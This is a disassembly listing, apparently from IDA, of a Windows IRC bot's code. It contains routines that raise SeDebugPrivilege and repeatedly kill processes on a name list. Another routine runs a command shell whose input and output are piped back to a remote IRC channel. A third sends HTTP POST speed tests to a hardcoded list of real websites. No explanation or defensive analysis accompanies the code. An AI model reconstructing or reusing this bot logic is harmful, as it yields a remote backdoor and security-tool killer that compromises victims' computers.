		mov	esi, offset dword_4D7DE4
		push	eax
		push	offset dword_43A3B8
		push	esi
		call	sub_417D96
		add	esp, 14h


loc_4166AA:				; CODE XREF: sub_4165F1+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4165F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4166AF	proc near		; CODE XREF: sub_41540C+7p
					; sub_41671A+5Fp ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	dword_4230F8	; GetCurrentProcess
		push	eax
		call	dword_4C97E0	; OpenProcessToken
		test	eax, eax
		jnz	short loc_4166CE
		leave
		retn
; ---------------------------------------------------------------------------


loc_4166CE:				; CODE XREF: sub_4166AF+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4C97BC	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_41670C
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_4166F5
		or	[ebp+var_8], 2
		jmp	short loc_4166F9
; ---------------------------------------------------------------------------


loc_4166F5:				; CODE XREF: sub_4166AF+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_4166F9:				; CODE XREF: sub_4166AF+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4C9864	; AdjustTokenPrivileges
		mov	esi, eax


loc_41670C:				; CODE XREF: sub_4166AF+32j
		push	[ebp+var_4]
		call	dword_423068	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4166AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41671A	proc near		; CODE XREF: sub_401AC7+6B18p
					; sub_416949+74p ...

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4C981C, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_416919
		cmp	dword_4C9800, ebx
		jz	loc_416919
		cmp	dword_4C9720, ebx
		jz	loc_416919
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_4166AF
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4C981C	; CreateToolhelp32Snapshot
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_41690C
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4C9800	; Process32First
		mov	esi, dword_423068
		test	eax, eax
		jz	loc_416907
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4C9720	; Process32Next
		test	eax, eax
		jz	loc_416907
		mov	edi, dword_423084
		mov	ebx, 1F0FFFh


loc_4167DE:				; CODE XREF: sub_41671A+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_416845
		mov	[ebp+var_4], offset off_43A410


loc_4167EC:				; CODE XREF: sub_41671A+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		call	dword_423168	; lstrcmpi
		test	eax, eax
		jz	short loc_416814
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_43A470
		jl	short loc_4167EC
		jmp	loc_4168ED
; ---------------------------------------------------------------------------


loc_416814:				; CODE XREF: sub_41671A+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_4168ED
		push	0
		push	eax
		call	dword_4230F0	; TerminateProcess
		test	eax, eax
		jnz	loc_4168ED


loc_41683B:				; CODE XREF: sub_41671A+1B9j
		push	[ebp+var_4]
		call	esi	; CloseHandle
		jmp	loc_4168ED
; ---------------------------------------------------------------------------


loc_416845:				; CODE XREF: sub_41671A+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_4168D8
		cmp	[ebp+arg_4], eax
		jz	loc_4168ED
		push	[ebp+var_128]
		push	8
		call	dword_4C981C	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_416898
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4C96D0	; Module32First
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_41689E
		lea	eax, [ebp+var_234]
		jmp	short loc_4168A4
; ---------------------------------------------------------------------------


loc_416898:				; CODE XREF: sub_41671A+15Cj
		push	[ebp+var_128]


loc_41689E:				; CODE XREF: sub_41671A+174j
		lea	eax, [ebp+var_10C]


loc_4168A4:				; CODE XREF: sub_41671A+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_417D96
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 14h
		jmp	loc_41683B
; ---------------------------------------------------------------------------


loc_4168D8:				; CODE XREF: sub_41671A+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416920


loc_4168ED:				; CODE XREF: sub_41671A+F5j
					; sub_41671A+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4C9720	; Process32Next
		test	eax, eax
		jnz	loc_4167DE
		xor	ebx, ebx


loc_416907:				; CODE XREF: sub_41671A+9Dj
					; sub_41671A+B3j
		push	[ebp+var_8]
		call	esi	; CloseHandle


loc_41690C:				; CODE XREF: sub_41671A+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_4166AF
		pop	ecx
		pop	ecx


loc_416919:				; CODE XREF: sub_41671A+3Aj
					; sub_41671A+46j ...
		xor	eax, eax


loc_41691B:				; CODE XREF: sub_41671A+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_416920:				; CODE XREF: sub_41671A+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		push	[ebp+var_8]
		mov	edi, eax
		call	esi	; CloseHandle
		push	0
		push	edi
		call	dword_4230F0	; TerminateProcess
		test	eax, eax
		jnz	short loc_416944
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_416919
; ---------------------------------------------------------------------------


loc_416944:				; CODE XREF: sub_41671A+223j
		push	1
		pop	eax
		jmp	short loc_41691B
sub_41671A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416949	proc near		; DATA XREF: sub_401AC7+2225o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_43A624
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_417D96
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_4169A8
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_408C5D
		add	esp, 14h


loc_4169A8:				; CODE XREF: sub_416949+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_41671A
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4169D0
		push	offset unk_43A600
		jmp	short loc_4169D5
; ---------------------------------------------------------------------------


loc_4169D0:				; CODE XREF: sub_416949+7Ej
		push	offset unk_43A5DC


loc_4169D5:				; CODE XREF: sub_416949+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_417D96
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_416A08
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_408C5D
		add	esp, 14h


loc_416A08:				; CODE XREF: sub_416949+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_413B5E
		push	[ebp+var_14]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
sub_416949	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416A27	proc near		; CODE XREF: sub_401AC7+6AB6p
					; sub_40A33E+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	dword_423084	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_416A59
		push	0
		push	esi
		call	dword_4230F0	; TerminateProcess
		test	eax, eax
		jnz	short loc_416A59
		push	esi
		xor	edi, edi
		call	dword_423068	; CloseHandle


loc_416A59:				; CODE XREF: sub_416A27+1Aj
					; sub_416A27+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_416A27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416A5E	proc near		; DATA XREF: sub_401221+3C7o
		push	esi
		xor	esi, esi


loc_416A61:				; CODE XREF: sub_416A5E+1Ej
		push	1
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_41671A
		add	esp, 18h
		push	dword_43A40C
		call	dword_423078	; Sleep
		jmp	short loc_416A61
sub_416A5E	endp


; =============== S U B	R O U T	I N E =======================================



sub_416A7E	proc near		; CODE XREF: sub_416AAE+2Ap
					; sub_416AE6+7Ep ...
		mov	eax, dword_4D8650
		push	esi
		mov	esi, dword_423068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416A92
		push	eax
		call	esi	; CloseHandle


loc_416A92:				; CODE XREF: sub_416A7E+Fj
		mov	eax, dword_4D8658
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416A9F
		push	eax
		call	esi	; CloseHandle


loc_416A9F:				; CODE XREF: sub_416A7E+1Cj
		mov	eax, dword_4D864C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416AAC
		push	eax
		call	esi	; CloseHandle


loc_416AAC:				; CODE XREF: sub_416A7E+29j
		pop	esi
		retn
sub_416A7E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416AAE	proc near		; CODE XREF: sub_401AC7+69B6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_4176F0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4D8654
		call	dword_4230E0	; WriteFile
		test	eax, eax
		jnz	short loc_416AE1
		call	sub_416A7E
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_416AE1:				; CODE XREF: sub_416AAE+28j
		push	1
		pop	eax
		leave
		retn
sub_416AAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416AE6	proc near		; CODE XREF: sub_416B6D+D3p
					; sub_416B6D+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43B9B8
		push	[ebp+arg_4]
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416B29
		push	7D0h
		call	dword_423078	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_417D96
		add	esp, 10h
		jmp	short loc_416B40
; ---------------------------------------------------------------------------


loc_416B29:				; CODE XREF: sub_416AE6+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset dword_42E26C
		push	eax
		call	sub_417D96
		add	esp, 0Ch


loc_416B40:				; CODE XREF: sub_416AE6+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9848	; send
		test	eax, eax
		jg	short loc_416B69
		call	sub_416A7E


loc_416B69:				; CODE XREF: sub_416AE6+7Cj
		xor	eax, eax
		leave
		retn
sub_416AE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B6D	proc near		; DATA XREF: sub_416CC2+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4D865C


loc_416B85:				; CODE XREF: sub_416B6D+79j
					; sub_416B6D+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4D8650
		call	dword_423170	; PeekNamedPipe
		test	eax, eax
		jz	loc_416C53
		cmp	[ebp+var_4], edi
		jnz	short loc_416BE8
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4D864C
		call	dword_42316C	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_416BDE
		cmp	[ebp+var_8], 103h
		jnz	loc_416C77


loc_416BDE:				; CODE XREF: sub_416B6D+62j
		push	0Ah
		call	dword_423078	; Sleep
		jmp	short loc_416B85
; ---------------------------------------------------------------------------


loc_416BE8:				; CODE XREF: sub_416B6D+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_416BFF


loc_416BEF:				; CODE XREF: sub_416B6D+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_416C4D
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_416BEF


loc_416BFF:				; CODE XREF: sub_416B6D+80j
		mov	[ebp+var_4], esi


loc_416C02:				; CODE XREF: sub_416B6D+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4D8650
		call	dword_4230E8	; ReadFile
		test	eax, eax
		jz	short loc_416C9F
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4D8690
		call	sub_416AE6
		add	esp, 0Ch
		jmp	loc_416B85
; ---------------------------------------------------------------------------


loc_416C4D:				; CODE XREF: sub_416B6D+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_416C02
; ---------------------------------------------------------------------------


loc_416C53:				; CODE XREF: sub_416B6D+45j
		push	offset unk_43A6AC
		push	ebx
		push	dword_4D8690
		call	sub_416AE6
		push	[ebp+arg_0]
		call	sub_40A51F
		add	esp, 10h
		push	1
		call	dword_4230CC	; ExitThread


loc_416C77:				; CODE XREF: sub_416B6D+6Bj
		call	sub_416A7E
		push	offset unk_43A684
		push	ebx
		push	dword_4D8690
		call	sub_416AE6
		push	[ebp+arg_0]
		call	sub_40A51F
		add	esp, 10h
		push	edi
		call	dword_4230CC	; ExitThread


loc_416C9F:				; CODE XREF: sub_416B6D+C3j
		push	offset unk_43A654
		push	ebx
		push	dword_4D8690
		call	sub_416AE6
		push	[ebp+arg_0]
		call	sub_40A51F
		add	esp, 10h
		push	edi
		call	dword_4230CC	; ExitThread
sub_416B6D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416CC2	proc near		; CODE XREF: sub_401AC7+2057p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_416A7E
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_435974
		push	esi
		call	dword_4C98B4	; SearchPathA
		test	eax, eax
		jz	loc_416DBC
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_4230FC
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_416DBC
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_416DBC
		mov	edi, dword_4230F8
		push	3
		push	esi
		push	esi
		push	offset dword_4D8654
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_4230F4	; DuplicateHandle
		test	eax, eax
		jz	short loc_416DBC
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_417AA0
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417AA0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43B9B8
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	dword_42306C	; CreateProcessA
		test	eax, eax
		jnz	short loc_416DC4


loc_416DBC:				; CODE XREF: sub_416CC2+2Fj
					; sub_416CC2+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_416E72
; ---------------------------------------------------------------------------


loc_416DC4:				; CODE XREF: sub_416CC2+F8j
		push	[ebp+var_4]
		mov	edi, dword_423068
		call	edi	; CloseHandle
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4D8650, eax
		mov	eax, [ebp+var_8]
		mov	dword_4D8658, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4D864C, eax
		call	edi	; CloseHandle
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4D8690, eax
		jz	short loc_416DFE
		push	[ebp+arg_4]
		jmp	short loc_416DFF
; ---------------------------------------------------------------------------


loc_416DFE:				; CODE XREF: sub_416CC2+135j
		push	ebx


loc_416DFF:				; CODE XREF: sub_416CC2+13Aj
		push	offset dword_4D865C
		call	sub_417D96
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset dword_43A710
		call	sub_40A203
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43C748[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_416B6D
		push	esi
		push	esi
		call	dword_42307C	; CreateThread
		cmp	eax, esi
		mov	dword_43C754[edi], eax
		jnz	short loc_416E70
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43A6DC
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_413B5E
		add	esp, 10h


loc_416E70:				; CODE XREF: sub_416CC2+185j
		xor	eax, eax


loc_416E72:				; CODE XREF: sub_416CC2+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416CC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_416E77	proc near		; CODE XREF: sub_41706C+CBp
					; sub_41706C+DDp ...

arg_0		= dword	ptr  4

		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		pop	ecx
		call	sub_417DF2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_416E77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416E91	proc near		; CODE XREF: sub_41706C+D4p
					; sub_41706C+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4176F0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_417068
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_417AA0
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_409C07
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_417068
		push	50h
		call	dword_4C97FC	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4C9878	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_417068
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4C97A8	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_417068
		push	32003h
		call	sub_4194C5
		mov	edi, dword_4230A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi	; GetTickCount
		push	eax
		call	sub_417DE8
		call	sub_417DF2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_417AA0
		push	32000h
		push	esi
		push	ebx
		call	sub_417AA0
		push	ebx
		call	sub_4176F0
		push	323EAh
		mov	ebx, eax
		call	sub_4194C5
		push	ebx
		mov	esi, eax
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_417D96
		push	[ebp+var_8]
		push	esi
		call	sub_4183C0
		push	offset asc_435C7C ; "\r\n"
		push	esi
		call	sub_4183C0
		add	esp, 40h
		push	esi
		call	sub_4176F0
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_10], ebx
		call	edi	; GetTickCount
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_416FE8
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_416FB8
; ---------------------------------------------------------------------------


loc_416FB5:				; CODE XREF: sub_416E91+155j
		mov	eax, [ebp+arg_0]


loc_416FB8:				; CODE XREF: sub_416E91+122j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_416FC8
		push	[ebp+var_C]
		jmp	short loc_416FC9
; ---------------------------------------------------------------------------


loc_416FC8:				; CODE XREF: sub_416E91+130j
		push	ebx


loc_416FC9:				; CODE XREF: sub_416E91+135j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4C9848	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41704F
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_416FB5


loc_416FE8:				; CODE XREF: sub_416E91+118j
		call	edi	; GetTickCount
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_4236FC
		fst	[ebp+arg_0]
		fcomp	flt_4236F8
		fnstsw	ax
		sahf
		jnz	short loc_417010
		fld1
		fstp	[ebp+arg_0]


loc_417010:				; CODE XREF: sub_416E91+178j
		push	[ebp+var_4]
		call	dword_4C9890	; closesocket
		push	[ebp+var_8]
		call	sub_4177C1
		push	esi
		call	sub_4177C1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_4236F4
		fmul	flt_4236F0
		call	sub_418C98


loc_41704A:				; CODE XREF: sub_416E91+1D9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41704F:				; CODE XREF: sub_416E91+147j
		push	[ebp+var_4]
		call	dword_4C9890	; closesocket
		push	[ebp+var_8]
		call	sub_4177C1
		push	esi
		call	sub_4177C1
		pop	ecx
		pop	ecx


loc_417068:				; CODE XREF: sub_416E91+19j
					; sub_416E91+42j ...
		xor	eax, eax
		jmp	short loc_41704A
sub_416E91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41706C	proc near		; CODE XREF: sub_401AC7+28D9p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
